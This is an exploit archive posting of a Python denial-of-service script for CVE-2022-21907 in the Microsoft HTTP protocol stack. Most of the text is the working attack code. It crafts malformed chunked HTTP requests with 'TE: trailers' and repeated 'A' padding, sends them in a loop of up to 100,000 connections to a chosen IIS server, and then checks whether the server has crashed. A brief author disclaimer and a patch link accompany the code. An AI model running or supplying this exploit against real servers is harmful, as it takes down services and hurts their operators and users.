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Microsoft HTTP Protocol Stack Denial Of Service

Microsoft HTTP Protocol Stack Denial Of Service
Posted Apr 15, 2022
Authored by polakow | Site github.com

Microsoft HTTP protocol stack denial of service exploit that leverages the vulnerability in CVE-2022-21907.

tags | exploit, web, denial of service, protocol
advisories | CVE-2022-21907
SHA-256 | 0035e8f68394e431f30fc5f6c1453975239fafaabddd9ec475fac32868642729

Microsoft HTTP Protocol Stack Denial Of Service

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit developed by the polakow from the past (@ltdominikow)
# This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.
# As a drunk wise man said: "Please, don't be a 'culiao'!" Use this exploit for testing your own network and patch your affected systems.

from colorama import Fore, Style, init
import argparse
import socket
import ssl
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def banner():
print(f"""\n\n{Fore.GREEN} ****** ** ** ******** **** **** **** **** **** ** **** **** ******
**////**/** /**/**///// */// * *///** */// * */// * */// * *** */// * *///**//////*
** // /** /**/** / /*/* */*/ /*/ /* / /*//** /* /*/* */* /*
/** //** ** /******* ***** *** /* * /* *** *** ***** *** /** / **** /* * /* *
/** //** ** /**//// ///// *// /** /* *// *// ///// *// /** ///* /** /* *
//** ** //**** /** * /* /* * * * /** * /* /* *
//****** //** /******** /******/ **** /******/****** /****** **** * / **** *
////// // //////// ////// //// ////// ////// ////// //// / //// / """)
print(f"\n\nAuthor: polakow(@ltdominikow)\n{Style.RESET_ALL}")
print(f"{Fore.RED}[!] Warning: This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.{Style.RESET_ALL}\n")
print(f"{Fore.CYAN}[*] Patch URL: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907{Style.RESET_ALL}\n")


def parseArgs():
parser = argparse.ArgumentParser(description="Description message")
parser.add_argument("-t", "--target", default=None, required=True, help="IIS Server. For instance: 192.168.1.110")
parser.add_argument("-p", "--port", default=None, required=True, help="Port of the IIS server. For instance: 80")
parser.add_argument("-v", "--ipversion", default=None, required=True, help="IP version: 4 or 6")
return parser.parse_args()


def isServiceRunning(ip, port, ipVersion):

if port == 443:
targetURL = "https://"
else:
targetURL = "http://"

if ipVersion == 6:
targetURL = targetURL + '[' + ip + ']'
else:
targetURL = targetURL + ip

try:
requests.get(targetURL, timeout=4, verify=False)
except Exception as e:
return False

return True

def checkServerStatus(ip, port, ipVersion):
if isServiceRunning(ip, port, ipVersion):
print(f'[*] The server is {Fore.GREEN}running{Style.RESET_ALL}!')
else:
print(f'[!] The server is {Fore.RED}not running{Style.RESET_ALL}!')


def exploit(ip, port, ipVersion):

print("[*] Attacking: %s on port %d" % (ip, port))

# Evil request

data = "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n"

if ipVersion == 6:
payload = "GET / HTTP/1.1\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
payload2 = "GET /\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
else:
payload = "GET / HTTP/1.1\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
payload2 = "GET /\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"

# Attack!

for i in range(0, 100000):
try:
# IPv6
if ipVersion == 6:
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.settimeout(5)

# Attack HTTPS or HTTP

if port == 443:
context = ssl._create_unverified_context()
so = context.wrap_socket(s, server_hostname=ip)

so.connect((ip, port))
so.sendall(payload.encode('ascii'))
if i % 10000 == 0:
print("[*] Sending evil payload...")
so.sendall(payload2.encode('ascii'))
else:
s.connect((ip, port))
s.sendall(payload.encode('ascii'))
if i % 10000 == 0:
print("[*] Sending evil payload...")
s.sendall(payload2.encode('ascii'))
except socket.timeout:
print("[*] Timeout! Checking server status...")
checkServerStatus(ip, port, ipVersion)
break
except Exception as e:
print(e)
break


if __name__ == '__main__':
init(convert=True)

# Banner

banner()

# Args
args = parseArgs()

port = args.port
ipVersion = args.ipversion

# Check digits

if not port.isdigit() and not ipVersion.isdigit():
print("The port must be a number!")
exit(1)

# Remove protocol

if args.target.startswith('https://'):
ip = args.target.replace("https://", "")
elif args.target.startswith('http://'):
ip = args.target.replace("http://", "")
else:
ip = args.target

# Remove backslash

if ip.endswith("/"):
ip = ip.replace("/", "")

# Remove ipv6 http/https

if ip.endswith("]") and ip.startswith("["):
ip = ip.replace("[", "").replace("]", "")

# Check ip version

if not int(ipVersion) == 6 and not int(ipVersion) == 4:
print("The IP version is invalid.")
exit(1)

# Check server status

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

checkServerStatus(ip, int(port), int(ipVersion))

# Exploit!

exploit(ip, int(port), int(ipVersion))

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